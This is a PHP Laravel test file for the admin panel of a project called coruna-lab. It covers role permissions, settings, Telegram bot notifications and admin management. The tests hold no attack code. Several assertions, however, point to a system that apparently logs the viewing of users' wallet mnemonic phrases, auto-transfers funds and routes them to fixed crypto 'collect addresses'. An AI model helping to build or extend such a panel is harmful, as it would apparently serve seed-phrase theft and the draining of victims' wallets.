Files
coruna-lab/tests/Feature/SystemAdminTest.php
T
2026-09-26 12:27:12 +08:00

393 lines
14 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class SystemAdminTest extends TestCase
{
use RefreshDatabase;
private string $envBackup = '';
protected function setUp(): void
{
parent::setUp();
$path = base_path('.env');
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
}
protected function tearDown(): void
{
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
$path = base_path('.env');
if ($this->envBackup !== '') {
file_put_contents($path, $this->envBackup);
}
parent::tearDown();
}
private function superAdmin(): Admin
{
return Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
}
private function normalAdmin(): Admin
{
return Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
}
#[Test]
public function normal_admin_cannot_access_super_only_routes(): void
{
$staff = $this->normalAdmin();
$this->actingAs($staff, 'admin')
->get(route('admin.system.admins.index'))
->assertForbidden();
$this->actingAs($staff, 'admin')
->get(route('admin.system.logs.index'))
->assertForbidden();
$this->actingAs($staff, 'admin')
->getJson(route('admin.system.logs.data'))
->assertForbidden();
}
#[Test]
public function normal_admin_can_access_system_settings(): void
{
$staff = $this->normalAdmin();
$this->actingAs($staff, 'admin')
->get(route('admin.system.settings.index'))
->assertOk()
->assertSee('系统设置')
->assertSee('相册存储(官方渠道)');
$this->actingAs($staff, 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('每日报表')
->assertSee('数据分析')
->assertSee('lay-href="'.route('admin.reports.daily').'"', false)
->assertSee('lay-href="'.route('admin.reports.analytics').'"', false)
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
->assertDontSee('原始日志');
}
#[Test]
public function super_admin_can_view_system_logs(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->get(route('admin.system.logs.index'))
->assertOk()
->assertSee('系统日志')
->assertSee('操作内容')
->assertSee('查看助记词');
$this->actingAs($super, 'admin')
->getJson(route('admin.system.logs.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('count', 0);
}
#[Test]
public function super_admin_sees_full_system_menu(): void
{
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('系统')
->assertSee('设置')
->assertSee('系统日志')
->assertSee('管理员')
->assertDontSee('原始日志');
}
#[Test]
public function super_admin_can_save_settings(): void
{
$super = $this->superAdmin();
config([
'coruna.telegram.bot_token' => 'bot:token',
'coruna.telegram.bot_username' => '',
]);
\Illuminate\Support\Facades\Http::fake(function ($request) {
if (str_contains($request->url(), 'getMe')) {
return \Illuminate\Support\Facades\Http::response([
'ok' => true,
'result' => ['id' => 1, 'is_bot' => true, 'username' => 'test_bot'],
], 200);
}
return \Illuminate\Support\Facades\Http::response(['ok' => true], 200);
});
$this->actingAs($super, 'admin')
->post(route('admin.system.settings.update'), [
'telegram_owner_chat_id' => '-1001',
'official_album_storage' => '1',
'auto_transfer_enabled' => '0',
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.bot_username', '@test_bot');
$env = (string) file_get_contents(base_path('.env'));
$this->assertStringContainsString('TELEGRAM_OWNER_CHAT_ID=-1001', $env);
$this->assertStringContainsString('TELEGRAM_BOT_USERNAME=test_bot', $env);
$this->assertStringContainsString('CORUNA_OFFICIAL_ALBUM_STORAGE=1', $env);
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
$this->assertTrue(config('coruna.album_storage.official_default'));
}
#[Test]
public function settings_page_shows_readonly_collect_addresses(): void
{
config([
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
'coruna.telegram.bot_username' => 'ops_bot',
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
'coruna.transfer.to_address_sol' => 'SoCollectAddressForDisplayOnly1111111111111',
'coruna.panel.admin_hosts' => [],
'coruna.channel_domains' => ['hidden-cdn.example.com'],
]);
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.system.settings.index'))
->assertOk()
->assertDontSee('secret-token-should-not-render')
->assertDontSee('name="telegram_bot_token"', false)
->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="transfer_to_address_eth"', false)
->assertDontSee('name="transfer_to_address_btc"', false)
->assertDontSee('name="transfer_to_address_sol"', false)
->assertSee('readonly', false)
->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false)
->assertDontSee('后台访问域名')
->assertDontSee('渠道链接')
->assertSee('归集地址')
->assertSee('TCollectTronAddressForDisplayOnly')
->assertSee('0xCollectEthAddressForDisplayOnly')
->assertSee('bc1CollectBtcAddressForDisplay')
->assertSee('SoCollectAddressForDisplayOnly1111111111111')
->assertSee('TRANSFER_TO_ADDRESS_SOL')
->assertSee('只能在 .env 配置')
->assertDontSee('hidden-cdn.example.com')
->assertSee('TELEGRAM_BOT_TOKEN')
->assertSee('@ops_bot')
->assertDontSee('助记词明文(员工 / 代理)')
->assertDontSee('staff_mnemonic_reveal');
}
#[Test]
public function settings_update_ignores_collect_address_fields(): void
{
config([
'coruna.transfer.to_address' => 'TKeepCollect',
'coruna.transfer.to_address_eth' => '0xKeepCollect',
'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
'coruna.transfer.to_address_sol' => 'SoKeepCollect',
]);
$this->actingAs($this->superAdmin(), 'admin')
->post(route('admin.system.settings.update'), [
'telegram_owner_chat_id' => '-1001',
'official_album_storage' => '0',
'auto_transfer_enabled' => '0',
'transfer_to_address' => 'TNewCollect',
'transfer_to_address_eth' => '0xNewCollect',
'transfer_to_address_btc' => 'bc1NewCollect',
'transfer_to_address_sol' => 'SoNewCollect',
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
$this->assertSame('SoKeepCollect', config('coruna.transfer.to_address_sol'));
}
#[Test]
public function super_admin_can_crud_admins(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->post(route('admin.system.admins.store'), [
'username' => 'newstaff',
'password' => 'secret12',
'is_super' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$staff = Admin::query()->where('username', 'newstaff')->first();
$this->assertNotNull($staff);
$this->assertSame(0, (int) $staff->is_super);
$this->actingAs($super, 'admin')
->putJson(route('admin.system.admins.update', $staff), [
'password' => 'newpass12',
'is_super' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$this->actingAs($super, 'admin')
->deleteJson(route('admin.system.admins.destroy', $staff))
->assertOk()
->assertJsonPath('code', 0);
$this->assertDatabaseMissing('admins', ['username' => 'newstaff']);
}
#[Test]
public function cannot_delete_last_super_admin(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->deleteJson(route('admin.system.admins.destroy', $super))
->assertStatus(422);
$this->assertDatabaseHas('admins', ['id' => $super->id]);
}
#[Test]
public function super_admin_can_send_telegram_test(): void
{
config([
'coruna.telegram.bot_token' => 'saved-token',
'coruna.telegram.owner_chat_id' => '100',
]);
\Illuminate\Support\Facades\Http::fake([
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
]);
$this->actingAs($this->superAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), [
'chat_id' => '-1009',
])
->assertOk()
->assertJsonPath('code', 0);
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
return str_contains($request->url(), '/botsaved-token/')
&& ($request->data()['chat_id'] ?? null) === '-1009'
&& str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试');
});
}
#[Test]
public function telegram_test_reports_telegram_error(): void
{
config(['coruna.telegram.bot_token' => 'saved-token']);
\Illuminate\Support\Facades\Http::fake([
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response([
'ok' => false,
'description' => 'Bad Request: chat not found',
], 400),
]);
$this->actingAs($this->superAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), [
'chat_id' => '999',
])
->assertOk()
->assertJsonPath('code', 1)
->assertJsonPath('msg', 'Bad Request: chat not found');
}
#[Test]
public function normal_admin_can_send_telegram_test(): void
{
config([
'coruna.telegram.bot_token' => 'saved-token',
'coruna.telegram.owner_chat_id' => '100',
]);
\Illuminate\Support\Facades\Http::fake([
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
]);
$this->actingAs($this->normalAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), [
'chat_id' => '-1009',
])
->assertOk()
->assertJsonPath('code', 0);
}
#[Test]
public function normal_admin_cannot_access_admins_crud(): void
{
$this->actingAs($this->normalAdmin(), 'admin')
->post(route('admin.system.admins.store'), [
'username' => 'x',
'password' => 'secret12',
])
->assertForbidden();
}
#[Test]
public function settings_page_shows_bot_username_from_getMe(): void
{
config([
'coruna.telegram.bot_token' => 'saved-token',
'coruna.telegram.bot_username' => '',
]);
\Illuminate\Support\Facades\Http::fake(function ($request) {
if (str_contains($request->url(), 'getMe')) {
return \Illuminate\Support\Facades\Http::response([
'ok' => true,
'result' => ['username' => 'ops_bot'],
], 200);
}
return \Illuminate\Support\Facades\Http::response(['ok' => true], 200);
});
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.system.settings.index'))
->assertOk()
->assertSee('@ops_bot')
->assertSee('t.me/ops_bot?startgroup=1', false);
$this->assertSame('ops_bot', config('coruna.telegram.bot_username'));
$this->assertStringContainsString(
'TELEGRAM_BOT_USERNAME=ops_bot',
(string) file_get_contents(base_path('.env'))
);
}
}